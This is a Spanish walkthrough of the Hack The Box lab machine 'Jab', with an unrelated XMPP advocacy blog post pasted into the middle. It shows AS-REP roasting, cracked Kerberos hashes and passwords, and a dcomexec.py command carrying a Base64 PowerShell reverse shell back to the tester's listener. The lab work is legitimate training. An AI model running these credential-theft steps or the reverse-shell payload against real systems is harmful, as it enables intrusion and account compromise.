Jab

nmap

nmap 10.10.11.4

Starting Nmap 7.94SVN (https://nmap.org) at 2024-03-08 21:36 CET

```
Nmap scan report for 10.10.11.4
Host is up (0.14s latency).
Not shown: 984 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open Idap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open IdapssI
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5222/tcp open xmpp-client
5269/tcp open xmpp-server
7070/tcp open realserver
7443/tcp open oracleas-https
7777/tcp open cbt
Nmap done: 1 IP address (1 host up) scanned in 124.45 seconds
#Podemos ver que el puerto de kerberos (88) está abierto.
#Intentamos un smbclient sin resultado.
nmap -p- -T5 -v 10.10.11.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 21:36 CET
Initiating Ping Scan at 21:36
Scanning 10.10.11.4 [4 ports]
Completed Ping Scan at 21:36, 0.40s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:36
Completed Parallel DNS resolution of 1 host. at 21:36, 0.02s elapsed
Initiating SYN Stealth Scan at 21:36
Scanning 10.10.11.4 [65535 ports]
Discovered open port 135/tcp on 10.10.11.4
Discovered open port 53/tcp on 10.10.11.4
Discovered open port 139/tcp on 10.10.11.4
Discovered open port 445/tcp on 10.10.11.4
Discovered open port 49675/tcp on 10.10.11.4
Discovered open port 5269/tcp on 10.10.11.4
Warning: 10.10.11.4 giving up on port because retransmission cap hit (2).
#Busquemos información sobre xmpp-client.
#De acuerdo a wikipedia, estos son los puertos que utiliza XMPP.According to Wikipedia:
5222 TCP XMPP client connection (RFC 6120)
                                                 Official
5223 TCP XMPP client connection over SSL
                                                Unofficial
5269 TCP XMPP server connection (RFC 6120)
                                                  Official
5298 TCP UDP XMPP JEP-0174: Link-Local Messaging / Official
       XEP-0174: Serverless Messaging
                                          Unofficial
8010 TCP XMPP File transfers
```

xmpp

```
#Si buscamos información sobre XMPP, podemos ver que es un protocolo de mensajeria.
https://es.wikipedia.org/wiki/Extensible Messaging and Presence Protocol
#Si buscamos sobre Jabber, en la página. Podemos ver que tiene relación como nos indica este blog:
https://comunicatelibremente.wordpress.com/jabberxmpp/
#Tendremos que instalar: https://pidgin.im/.
Command 'pidgin' not found, but can be installed with:
apt install pidgin
Do you want to install it? (N/y)y
apt install pidgin
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
gstreamer1.0-alsa gstreamer1.0-gl gstreamer1.0-nice gstreamer1.0-plugins-base gstreamer1.0-x libalgorithm-diff-xs-perl
 libapt-pkg-perl libbit-vector-perl libclone-perl libcommon-sense-perl libcompress-raw-lzma-perl libcrypt-rijndael-perl
 libcrypt-ssleay-perl libdate-calc-xs-perl libdbd-mariadb-perl libdbi-perl libencode-perl libfarstream-0.2-5 libfcgi-perl
 libfile-fcntllock-perl libgadu3 libgstreamer-gl1.0-0 libgstreamer-plugins-base1.0-0 libgtkspell0 libhtml-parser-perl
libintl-xs-perl libio-compress-brotli-perl libjson-xs-perl liblocale-gettext-perl libmath-random-isaac-xs-perl libmeanwhile1
 libnet-dbus-perl libnet-dns-sec-perl libnet-libidn2-perl libnet-ssleay-perl libperl5.38 libproc-processtable-perl libpurple-bin
 libpurple0 libsocket6-perl libstring-crc32-perl libterm-readkey-perl libterm-readline-gnu-perl libtext-charwidth-perl
libtext-csv-xs-perl libtext-iconv-perl libunicode-linebreak-perl libunicode-map-perl libunid-perl libxml-parser-perl libzephyr4
perl perl-base perl-modules-5.38 perl-tk pidgin-data
Suggested packages:
 alsa-utils libmldbm-perl libnet-daemon-perl libsql-statement-perl libvisual-0.4-plugins perl-doc libtap-harness-archive-perl
The following NEW packages will be installed:
 gstreamer1.0-alsa gstreamer1.0-nice libfarstream-0.2-5 libgadu3 libgtkspell0 libmeanwhile1 libperl5.38 libpurple-bin libpurple0
libzephyr4 perl-modules-5.38 pidain pidain-data
The following packages will be upgraded:
 gstreamer1.0-gl gstreamer1.0-plugins-base gstreamer1.0-x libalgorithm-diff-xs-perl libapt-pkg-perl libbit-vector-perl
 libclone-perl libcommon-sense-perl libcompres
#Procederemos a añadir un usuario en la heramienta.
#Nos indica que se utilizará el certificado de dc01.jab.htb
Common name: dc01.jab.htb
Issued By: (self-signed)
Fingerprint (SHA1): ef:d0:8b:de:42:df:ff:04:1a:79:7d:20:bf:87:a7:40:66:b8:d9:66
Activation date: Fri Oct 27 00:00:12 2023
Expiration date: Wed Oct 25 00:00:12 2028
SHA256: bc:d8:be:1b:3e:27:bd:6a:f0:65:77:df:f6:9b:8c:58:90:f0:c2:04:46:48:7f:ce:75:e5:5d:1e:44:4f:14:df
#Indicamos que es correcto.
#Editamos nuestro usuario. Accounts --> "Modify Account".
#Tendremos que añadir la dirección IP del servidor. (10.10.11.4)
#Nos saldrá un banner donde tendremos que aceptar.
#IMPORTANTE → Para activr el usuario, tendremos que seleccionar la casilla "Crear usuario en el servidor"
#Para activar el usuario por completo, tendremos que seleccionarlo en la "Buddy List".
#Tendremos que reiniciar el programa.
#Nos dirigimos a --> "Room List".
#Podemos ver que hay dos entidades. test y test2.
#Solo nos deja entrar en el chat test2.
#No parece que haya información relevante en este chat.
#Si nos fijamos en las tools de "Pidgin". Podemos ver que exsiste una tool para buscar usuarios dentro del dominio.
#Vamos a: "Buddy List" --> "Accounts" → "Search for users"
#Para buscar todas las refencias posibles, escribimos *.
#Nos aparecen muchos usuarios. Trataremos de traspasarlos a un documento.
#Para ello, tenemos que ejecutar Pigin con la opción -d. (Corresponde con la opción debug)
pidgin --help
Pidgin 2.14.12
Usage: pidgin [OPTION]...
-c, --config=DIR use DIR for config files
-d, --debug print debugging messages to stdout
-f, --force-online force online, regardless of network status
-h, --help
               display this help and exit
-m, --multiple allow multiple instances
 -n, --nologin don't automatically login
```

 -I, --login[=NAME] enable specified account(s) (optional argument NAME specifies account(s) to use, separated by commas.
 Without this only the first account will be enabled). --display=DISPLAY X display to use

v, --version display the current version and exit

pidgin -d > output.log

#El fichero output.log, no está legibe. Tendremos que modificarlo para extraer todos los usuarios.

#Le aplicamos alguna modificaciones al fichero. (Es un XML)

 $grep - oP ' < value > \c (^<) + @jab.htb(? = < / value >)' output.log | sed 's/@jab.htb//g' | sort | uniq > usernames.txt | section |$

#Lo redirigimos a otro fichero llamado usernames.txt

#Recordando que kerberos, se está ejecutando por el puerto 88 podemos probar a hacer login con los usuarios.

#EJecutaremos el tool GetNPUsers.py pata conseguir el AS-REp Roast.

GetNPUsers.py jab.htb -usersfile usernames.txt -format hashcat -outputfile jabhashes Impacket v0.12.0.dev1+20231114.165227.4b56c18a - Copyright 2023 Fortra

[-] Domain should be specified!

#Tendremos que anotar el dominio en /etc/hosts echo "10.10.11.4 jab.htb" | sudo tee -a /etc/hosts 10.10.11.4 jab.htb

root@kali)-[~/Desktop/machines/Jab]

GetNPUsers.py jab.htb/-usersfile usernames.txt -format hashcat -outputfile jabhashes.txt Impacket v0.12.0.dev1+20231114.165227.4b56c18a - Copyright 2023 Fortra

- [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
- [-] User aaaron doesn't have UF DONT REQUIRE PREAUTH set
- [-] User aallen doesn't have UF DONT REQUIRE PREAUTH set
- [-] User aaltman doesn't have UF DONT REQUIRE PREAUTH set
- [-] User aanderson doesn't have UF_DONT_REQUIRE_PREAUTH set
- [-] User aarrowood doesn't have UF_DONT_REQUIRE_PREAUTH set
- [-] User abanks doesn't have UF_DONT_REQUIRE_PREAUTH set
- [-] User abarr doesn't have UF DONT REQUIRE PREAUTH set
- [-] User abeaubien doesn't have UF_DONT_REQUIRE_PREAUTH set
- [-] User abeckner doesn't have UF_DONT_REQUIRE_PREAUTH set
- $\hbox{[-] User abernard doesn't have UF_DONT_REQUIRE_PREAUTH set}\\$

#Si le damos tiempo, tendemos algunos hashes.

cat jabhashes.txt

\$krb5asrep\$23\$jmontgomery@JAB.HTB:

7efcfedb715774b1ad7997afda6f3a09\$ce4d543e13e5f1f7f50dedbd827af2fbab75100bede93636159ac1e8c0da17fc48dbf8ee3b8edee2f513 c03e979cc01fb372ab7c1f80b580b14ebbef03057350619c85a3fa3e1bcb84a6f896dc5dd63167929a736effc2edfd9d4731f79940d79d2d8570 f1e058a6fbe961fe3dcbc71db8a5c55ddad81213886b78b2de4ac3c1793cae166a9fbcfa02fd3996b58ff6cbefa11191465a62768e1949e794f34 87e8b6e2bf502cd7d9b879e5a1698a38c1fb21092f6a814cd33a1ea5b48c13b31bb679ffb53f8c4b34790e72104e65be1d41f0f17dad48e55a6 eb38bb6b5b48aa0a4a55

\$krb5asrep\$23\$lbradford@JAB.HTB:

21b1f5ff809fe028f51f6913aa7a1412\$de8bf92566ebaf146c9141d7902b9b574fb849be42b01fe178c193a9132739d1de721aef28c8bfba6659 ee3539a58d253c3df7e823e914b9cc1a4ab318f872a4097753bbfec2d431b3c302ea23d04dea8880ea5bb96f2958476607b667d891e0326223 50483da283406e2fb60367720fe02ad65835f5bf44022a632717801a21beb172fefc03ced80c5f8ce9cbeb043448dd7718ecd67e4e36d06ddd2 48b08c32b74e8dc8d0f32d8e4bdc3a1eece1ae9b50f387e53a0b81d3cdd9e9467074df988050bd049873ec8095cc7bfe4325ad729c3a074e859 4ef3be6c46eae7c27787ef29

\$krb5asrep\$23\$mlowe@JAB.HTB:a0abbc071990ce1bed9122ca4a7c1123\$42840f68d0ba8278081de3d3b62d1c8ff7c16a47b07bf7d5edc8b20cd1ac193ea18ade91d8bd11574f1a53f27a3ba0d0ec70ba2cfc32cd07f15b215b37f281f45ceba9ac51610d4c43064bfd9929342cd6888981b50a055e019dedc4370f0cfe7355a57a7e0b42758c8fa56a8ad0807ec86bb290390e2e4160cb34b7393b2f32ad53d304ee2ac0beaa5ef6277230d212522d79562a6555dd8378e8c412791d154d2c8eb1776c94f152c1348fee322ea8bfb1de84b7f30f279c93d3b6aa78429f9994c09998fd013384d954f35c0440062fb2464094de993d2755e8bd4914a8116928

jabber/xmpp

Jabber/XMPP El problema

La mensajería instantánea por Internet, hoy en día, se ha convertido en un auténtico caos. Que si «ponte el Whatsapp y así hablamos», que si «no, ponte el Line, que mola más», que si «ponte el Spotbros que es la caña»... mañana será «esos ya pasaron de moda, ponte el PepeChat». Y al día siguiente, el ChupiChat.

¿No os parece que ya basta de tener que andar poniéndose todos los programas de turno porque a tal o cual contacto le gusta tal o cual programa? Especialmente si contamos que «tal programa» solo está disponible para smartphones, o incluso ciertos smartphones concretos, con restricciones de todo tipo y privacidad nula. Sin olvidar, además, que aparecen nuevas «apps» de este estilo constantemente, todas incompatibles con las demás.

Esta situación es un poco ridícula. Cuando alguien tiene un teléfono móvil, sabe que puede llamar a cualquier otro teléfono móvil, o fijo, independientemente de si tu contacto tiene un Motorola, un Nokia o un Samsung, independientemente de si tiene línea con Movistar, con Orange o con Vodafone. Si alguien tiene una cuenta de email, sabe que puede enviar e-mails a cualquiera, independientemente del tipo de ordenador o teléfono que use, e independientemente de si el destinatario es pepito@gmail.com, pepito@telefonica.net o pepito@suempresa.com.

Lo natural debería ser que las cosas sean así. En esos dos ámbitos han sido así desde siempre, desde hace décadas.

¿Por qué en mensajería instantánea o «redes sociales» no? Por los intereses de las cuatro empresas de turno, interesadas en tener a todo el mundo controlado en un mismo sitio, en su empresa, y por el hecho de que todo el mundo lo tolera, por motivos varios. Principalmente movidos por el «efecto red», más conocido como «es que todo el mundo esta en XXXXX».

¿A alguien le parecería normal intentar llamar con su teléfono Vodafone a un teléfono Movistar, y oír una locución estilo «El teléfono al que llama pertenece a otro operador. La llamada no se puede realizar»? Suena ridículo, ¿no? La solución ya existe. Está en nuestras manos el usarla, y es gratis.

xmppDesde hace años existe una red de mensajería instantánea, chat, videoconferencia, envío de todo tipo de archivos, salas de charla en grupo, etc. que permite precisamente evitar todos esos problemas, conocida como Jabber o, formalmente, XMPP.

Este es un ejemplo del funcionamiento de la red XMPP (anteriormente llamada Jabber) entre 3 servidores de los miles que existen alrededor del mundo.

Este es un ejemplo del funcionamiento de la red XMPP (anteriormente llamada Jabber) entre 3 servidores de los miles que existen alrededor del mundo.

La gracia de este sistema no es nada rompedor. De hecho es precisamente lo mismo que hace grande y útil al e-mail o al teléfono estándar: es una red descentralizada, o federada.

¿Qué quiere decir eso de «federada»? Básicamente significa que pepito@sucasa.com puede hablar tranquilamente con fulanito@gmail.com, o con menganita@suempresa.net. Pepito usará el programa A en su móvil (Xabber, JTalk, Beem...), Fulanita el programa B en su PC (Swift, Psi...), Menganito el programa C en su tablet... y a nadie le importa, ni le interesa, qué programa use el otro, puesto que no es necesario saberlo ni tener el mismo para hablar. Cada cual usaría el programa que más le gustase.

Sin ir mas lejos, Google Talk, que viene preinstalado en todos los teléfonos y tablets Android, y que por tanto, mucha gente ya tiene, forma parte de la red Jabber. Si bien, actualmente, el futuro de esto se encuentra en entredicho, por la migración que Google está realizando hacia Hangouts, incompatible con el estándar XMPP, y que no comunica con la red Jabber global. Una prueba más de cómo no se deben dejar nuestras comunicaciones en manos de las grandes empresas. Tú también cuentas

Empezar a cambiar esta situación es una difícil tarea, pero es algo que está en manos de todos, y el resultado sería muchas mejores opciones para todo el mundo, menos complicaciones, menos control por parte de las cuatro empresas de turno y más control y capacidad de decisión por parte de todos nosotros. Va siendo hora de acabar con el conformismo de «es que esto más o menos ya me vale» y empezar a poner fin a la ridícula situación de «cada uno con su red preferida, incompatible con las de los demás, insistiendo a todo el mundo a que use la suya». Será una transición costosa, pero entre todos, si nos unimos, podemos consequirlo.

Alguien dirá que aquí se está insistiendo en usar «lo nuestro», pero lo que aquí animamos a usar es algo estándar, que permitirá que nadie tenga que volver a decirle a sus contactos «usa tal programa o tal otro», de la misma forma que nadie le dice a sus contactos que programa de e-mail deben usar, o que servicio, o que teléfono deben comprarse para llamarles.

Muchas funciones

XMPP es un protocolo con el que puedes hacer todo lo que estás acostumbrado a ver en otros programas debido a que es ampliable.

Conectarte desde varios programas a la vez.

Mensajes en desconexión: si envías un mensaje a un contacto desconectado, lo verá cuando se conecte

Salas de charla como en el IRC o los chats de Terra

Envío de archivos de cualquier tipo

Videollamada

Compartir la pantalla de tu ordenador

Todo depende de las funciones que incluya el programa que utilices. Los hay muy básicos (que sólo permiten enviar mensajes de texto) hasta muy complejos, que permiten hacer todo lo anterior y mucho más.

Servidores

Existen muchísimos servidores donde poder registrarse a lo largo y ancho del planeta. Como ya hemos visto, no importa dónde te crees una puesto que podrás hablar con cualquiera.

En XMPP.net hay una gran lista de servidores, pero ni no sabes por dónde empezar, te recomendamos algunos donde puedes crear tu cuenta:

Mijabber.es Suchat.org Jabberes.org Los tres son creados en el ámbito hispanohablante y podrás pedir ayuda en alguna de las salas si lo necesitas. Clientes (programas y apps móviles)

Existen gran cantidad de programas y aplicaciones que puedes usar para conectarte, ya que en XMPP/Jabber no importa si te conectas desde el móvil, tu tablet o tu ordenador.

En XMPP.org hay una lista muy completa de clientes (los hay hasta para aparatos antiguos), pero si no sabes por dónde empezar, te recomendamos algunos para los sistemas más habituales hoy en día:

Para el ordenador:

Swift. Si eres nuevo usuario es la mejor opción: es un programa muy sencillo de usar.

Gajim. Permite hacer videollamadas e incorpora funciones avanzadas.

Jitsi. Un cliente muy completo con el que puedes hacer videollamadas.

Psi. Cliente con funciones avanzadas y muy personalizable sin renunciar a la simplicidad.

Pidgin. Un cliente multiprotocolo (puedes agregar más cuentas, no sólo de XMPP).

Para Android:

Xabber. Recomendado. Soporte para grupos de charla y mensajes cifrados.

Conversations. Recomendado. Rápido desarrollo, interfaz amigable. Soporte para enviar archivos, grupos de charla, mensajes cifrados y más.

ChatSecure. Centrado en la mensajería cifrada.

JTalk. Permite enviar archivos. Soporte para grupos de charla.

Yaxim. Más básico.

Para iOS:

Monal IM Boogie chat ChatSecure

Para el navegador:

Jappix en forumanalogue

Más información:

Categoría Jabber/XMPP de este blog Web oficial de XMPP Lista de servidores Lista de clientes

Comparte esto:

 $Granada Pump. io Dias por a*Correo \ electr\'onico Twitter Facebook$

73 comentarios en "Jabber/XMPP" Navegación de comentarios

← Comentarios más antiguos

Davidnel en 13 julio, 2020 a las 00:00 dijo:

Alguno de ustedes ha podido instalar algún servidor de esos mencionados anteriormente y que le funcionen la llamadas o videollamadas ?

Responder ↓

Alguien en 11 enero, 2021 a las 04:56 dijo:

ahora que empezó la polémica de WhatsApp y sus nuevas políticas de privacidad y a raíz de esto muchos se quieren cambiar a Telegram. Creo que es buena idea volver a revivir y actualizar esta campaña

 $\mathsf{Responder} \downarrow$

Navegación de comentarios

 \leftarrow Comentarios más antiguos

Deia un comentario

Este sitio utiliza Akismet para reducir el spam. Conoce cómo se procesan los datos de tus comentarios. Blog de WordPress.com.

john

 $john-w=/usr/share/wordlists/rockyou.txt\ jabhashes.txt$

Using default input encoding: UTF-8

Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 8 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

Midnight_121 (\$krb5asrep\$23\$jmontgomery@JAB.HTB)

1g 0:00:00:23 DONE (2024-03-09 18:53) 0.04258g/s 610892p/s 1682Kc/s 1682KC/s !)(OPPQR..*7;Vamos!

Use the "--show" option to display all of the cracked passwords reliably

Session completed.

r—(root⊛kali)-[~/Desktop/machines/Jab] └─# john jabhashes.txt --show \$krb5asrep\$23\$jmontgomery@JAB.HTB:Midnight_121

1 password hash cracked, 2 left

#Tenemos las credenciales.

cat creeds.txt jmontgomery@JAB.HTB:Midnight_121

username --> jmontgomery@JAB.HTB passwd --> Midnight_121

#Vamos a probar a hacer un ssh. ssh jmontgomery@JAB.HTB ssh: connect to host jab.htb port 22: Connection refused

#Si la cuenta está habilitada, deshabilítela → Seleccione la cuenta y haga clic en modificar → Cambie el nombre de usuario a "jmontgomery" → ingrese la contraseña que obtuvo del hash. (Puede habilitar "Recordar contraseña" para su comodidad).
#Volvemos a pidgin

pidgin

#Si la cuenta está habilitada, deshabilítela → Seleccione la cuenta y haga clic en modificar → Cambie el nombre de usuario a "jmontgomery" → ingrese la contraseña que obtuvo del hash. (Puede habilitar "Recordar contraseña" para su comodidad).

#Volvemos a pidgin

#Cambiamos el nombre de "alle" por "jmontgomery" y añadimos la contraseña.

#Cuadno buscamos las salas, podemos ver una sala nueva, llamada "pentest2003".

#Vemos que esta es la conversación.

(11/21/23 19:31:13) adunn: team, we need to finalize post-remediation testing from last quarter's pentest. @bdavis Brian can you please provide us with a status?

(11/21/23 19:33:58) bdavis: sure. we removed the SPN from the svc_openfire account. I believe this was finding #2. can someone from the security team test this? if not we can send it back to the pentesters to validate.

(11/21/23 20:30:41) bdavis: here are the commands from the report, can you find someone from the security team who can re-run these to validate?

(11/21/23 20:30:43) bdavis: \$ GetUserSPNs.py -request -dc-ip 192.168.195.129 jab.htb/hthompson

Impacket v0.9.25.dev1+20221216.150032.204c5b6b - Copyright 2021 SecureAuth Corporation

Password:

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation

http/ympp jah local syc openfire 2023-10-27 1

http/xmpp.jab.local svc_openfire 2023-10-27 15:23:49.811611 <never>

[-] CCache file is not found. Skipping...

\$krb5tgs\$23\$*svc_openfire\$JAB.HTB\$jab.htb/

svc_openfire*\$b1abbb2f4beb2a48e7412ccd26b60e61\$864f27ddaaded607ab5efa59544870cece4b6262e20f3bee38408d296ffbf07ceb4211 88b9b82ac0037ae67b488bb0ef2178a0792d62<SNIP>

(11/21/23 20:30:56) bdavis: \$ hashcat -m 13100 svc_openfire_tgs /usr/share/wordlists/rockyou.txt

hashcat (v6.1.1) starting...

<SNIP>

\$krb5tgs\$23\$*svc_openfire\$JAB.HTB\$jab.htb/

b219da829b0ac70e8420f2f35a4f315c5c6f1d4ad3092e14ccd506e9a3bd3d20854ec73e62859cd68a7e6169f3c0b5ab82064b04df4ff7583ef18 bbd42ac529a5747102c2924d1a76703a30908f5ad41423b2fff5e6c03d3df6c0635a41bea1aca3e15986639c758eef30b74498a184380411e20 7e5f3afef185eaf605f543c436cd155823b7a7870a3d5acd0b785f999facd8b7ffdafe6e0410af26efc42417d402f2819d03b3730203b59c21b043 4e2e0e7a97ed09e3901f523ba52fe9d3ee7f4203de9e857761fbcb417d047765a5a01e71aff732e5d5d114f0b58a8a0df4ca7e1ff5a88c532f5cf33f2e01986ac44a353c0142b0360e1b839bb6889a54fbd9c549da23fb05193a4bfba179336e7dd69380bc4f9c3c00324e42043ee54b3017a91 3 f84 a 20894 e 145 b 23 b 440 aff 9 c 524 e f b 7957 de e 89 b 1 e 7 b 735 d b 292 c a 5 c b 32 c f 024 e 9 b 8 f 554 6 c 33 c a 36 f 5370 d b 61 a 9 a 3 f a c b 473 e 741 c 61 e c 7 d b e - 62 c b 32 c f 024 e 9 b 8 f 554 6 c 33 c a 36 f 5370 d b 61 a 9 a 3 f a c b 473 e 741 c 61 e c 7 d b e - 62 c b 32 c f 024 e 9 b 8 f 554 6 c 33 c a 36 f 5370 d b 61 a 9 a 36 f a c b 473 e 741 c 61 e c 7 d b e - 62 c b 32 c f 024 e 9 b 8 f 554 6 c 33 c a 36 f 5370 d b 61 a 9 a 36 f a c b 473 e 741 c 61 e c 7 d b e - 62 c b 473 e 741 c 61 e c 7 d b 61 e 741 c 61e53774f92f9e8889380dddcb59de09320094b751a0c938ecc762cbd5d57d4e0c3d660e88545cc96e324a6fef226bc62e2bb31897670929571c-6307125509422498f6c64adc030bfcf616c4c0d3e0fa76dcde0dfc5c94a4cb07ccf4cac941755cfdd1ed94e37d90bd1b612fee2ced175aa0e01f29 c207b7bec51dabcec4896e110eb4ed0273dd26c82fc54bb2b5a1294cb7f3b654a13b4530bc186ff7fe3ab5a802c7c91e664144f92f438aecf9f81abcec4896e110eb4ed0273dd26c82fc54bb2b5a1294cb7f3b654a13b4530bc186ff7fe3ab5a802c7c91e664144f92f438aecf9f81abcec4896e110eb4ed0273dd26c82fc54bb2b5a1294cb7f3b654a13b4530bc186ff7fe3ab5a802c7c91e664144f92f438aecf9f81abcec4896e110eb4ed0273dd26c82fc54bb2b5a1294cb7f3b654a13b4530bc186ff7fe3ab5a802c7c91e664144f92f438aecf9f81abcec4896e110eb4ed0273dd26c82fc54bb2b5a1294cb7f3b654a13b4530bc186ff7fe3ab5a802c7c91e664144f92f438aecf9f81abcec4896e110eb4ed0273dd26c82fc54bb2b5a1294cb7f3b654a13b4530bc186ff7fe3ab5a802c7c91e664144f92f438aecf9f81abcec4896e110eb4ed0273dd26c82fc54bb2b5a1294cb7f3b654a13b4530bc186ff7fe3ab5a802c7c91e664144f92f438aecf9f81abcec4896e110eb4ed0273dd26c82fc54bb2b5a1294cb7f3b654a13b4530bc186ff7fe3ab5a802c7c91e664144f92f438aecf9f81abcec4896e110eb4ed0273dd26c82fc54bb2b5a1294cb7f3b654a13b4530bc186ff7fe3ab5a802c7c91e6664144f92f438aecf9f81abcec486ff7fe3abcec4864f73ed556dac403daaefcc7081957177d16c1087f058323f7aa3dfecfa024cc842aa3c8ef82213ad4acb89b88fc7d1f68338e8127644cfe101bf93 b18ec0da457c9136e3d0efa0d094994e1591ecc4:!@#\$%^&*(1qazxsw

Session....: hashcat Status....: Cracked

Hash.Name.....: Kerberos 5, etype 23, TGS-REP

Hash.Target.....: \$krb5tgs\$23\$*svc_openfire\$JAB.HTB\$jab.htb/svc_openf...91ecc4

Time.Started....: Fri Oct 27 15:30:12 2023 (17 secs)
Time.Estimated...: Fri Oct 27 15:30:29 2023 (0 secs)
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)

Guess.Queue.....: 1/1 (100.00%)

Speed.#1....... 873.9 kH/s (10.16ms) @ Accel:64 Loops:1 Thr:64 Vec:8

Recovered......: 1/1 (100.00%) Digests
Progress......: 14344385/14344385 (100.00%)
Rejected......: 0/14344385 (0.00%)
Restore.Point....: 14336000/14344385 (99.94%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1

Candidates. #1...: \$HEX[2321686f74746965] -> \$HEX[042a0337c2a156616d6f732103]

Started: Fri Oct 27 15:30:09 2023 Stopped: Fri Oct 27 15:30:29 2023

(11/21/23 20:31:57) adunn: I'll pass this along and circle back with the group

(11/21/23 20:32:23) bdavis: perfect, thanks Angela!

(03/08/24 21:44:49) jmontgomery: :yes:

(11/21/23 19:22:55) The topic is:

#Vemos como se ha utilizado hashcat para desencryptar una contraseña.

#Podemos ver la contraseña:

passwd --> !@#\$%^&*(1qazxsw

#Como puedo ver en mi escaneo de nmap que se están utilizando una gran cantidad de servicios MSRPC, es seguro asumir que DCOM se está ejecutando. (DCOM permite que los objetos COM se comuniquen entre sí a través de redes)

#La herramienta de impaket 'dcomexec.py' se puede utilizar de forma remota en svc_openfire.

Ejemplo:

dcomexec.pey -object < DCOM Object> < domain>/<account>:'<password>'@<target IP> 'Command & payload' -silentcommand

#Creamos un rev shell en Base64 para Powershell#3

#Vamos a: https://www.revshells.com/

#Generamos el rev shell y lo añadimos al comando anterior.

#Con este comando, podremos enviar el payload.

dcomexec.py -object MMC20 jab.htb/svc_openfire:'!@#\$%^&*(1qazxsw'@10.10.11.4

JABjAGwAaQBIAG4AdAagAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABIAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAG-wAaQBIAG4AdAaoACIAMQAwAC4AMQAwAC4AMQA2AC4AOAA0ACIALAA3ADMANwAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQA-LgBHAGUAdABTAHQAcgBIAGEAbQAoACkAOwBbAGIAeQBOAGUAWwBdAF0AJABiAHkAdABIAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AH-cAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABIAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABIA-G4AZwB0AGgAKQApACAALQBuAGUAIAAwACkaewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQ-AgAFMAeQBzAHQAZQBtAC4AVABIAHgadaAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABIAHMAL-AAwACwAIAAkAGkAKQA7ACQAcwBIAG4AZABiAGEAYwBrACAAPQAgACgAaQBIAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgaxACAAfAAgAE8AdQB0AC0AUwB0AHIAa-QBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMaawAgACsAIAAIAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUA-BhAHQAaAAgACSAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBIAG4AYWBvAGQAaQBuAGcAXQA6ADoAQQBTAEMAS-QBJACkALgBHAGUAdABCAHkAdABIAHMAKAAkAHMAZQBuAGQAYgBhAGMaawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABIACgAJABzAGUAbgBkAGIAQBUAGCAXQA6ADoAQQBTAEMAS-QB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAGUAYQBtAC4AVwByAGkAdABIACgAJABzAGUAbgBkAGIAAQBAABACS-'-silentcommand

nc -nlvp 7373 listening on [any] 7373 ... connect to [10.10.16.84] from (UNKNOWN) [10.10.11.4] 51610 whoami jab\svc_openfire PS C:\windows\system32>

#Ya tenemos un shell

priv_escalation

http://127.0.0.1:9090/login.jsp

```
PS C:\Users\svc_openfire\Desktop> whoami
jab\svc_openfire
#Veamos que conexione tenemos con netat.
netstat -ano
Active Connections
 Proto Local Address
                                             Foreign Address
                                                                                 State
                                                                                                    PID
 TCP 0.0.0.0:88
                                        0.0.0.0:0
                                                              LISTENING
                                                                                           644
 TCP 0.0.0.0:135
                                         0.0.0.0:0
                                                                    LISTENING
                                                                                            896
#Ejecutamos "ps" para ver los procesos.
  1588
               190 650788 612704
                                                                 2216 0 openfire-service
    103
               7 1320
                                   5032
                                                           2668 0 openfire-service
#Si realizamos na búsqueda sobre Openfire:
The Openfire admin interface will listen on port 9090 and 9091 of your server by default.
#Podemos ver que se está utilizando el puerto 9090
#Verificamos si estos puertos estan abiertos, netstat; 'netstat-ano | findstr 9090' y lo repitió para el puerto 9091.
PS C:\windows\system32> netstat -ano | findstr 9090
 TCP 127.0.0.1:9090
                                           0.0.0.0:0
                                                                       LISTENING
                                                                                               2216
 UDP 0.0.0.0:59090
                                           * *
                                                                                    2600
PS C:\windows\system32> netstat -ano | findstr 9091
                                                                                               2216
 TCP 127.0.0.1:9091 0.0.0.0:0
                                                                      LISTENING
 UDP 0.0.0.0:59091
                                                                                    2600
#Utilizaremos "Chisel" para hacer un port forwarding.
#En lugar de utilizar wget o curl, utilizaremos certutil.exe.
#Primero tendremos que encender el servidor (chesel) en localhost.
#Asegurarse, de ejecutar el comando en: \Users\svc_openfire\Downloads.
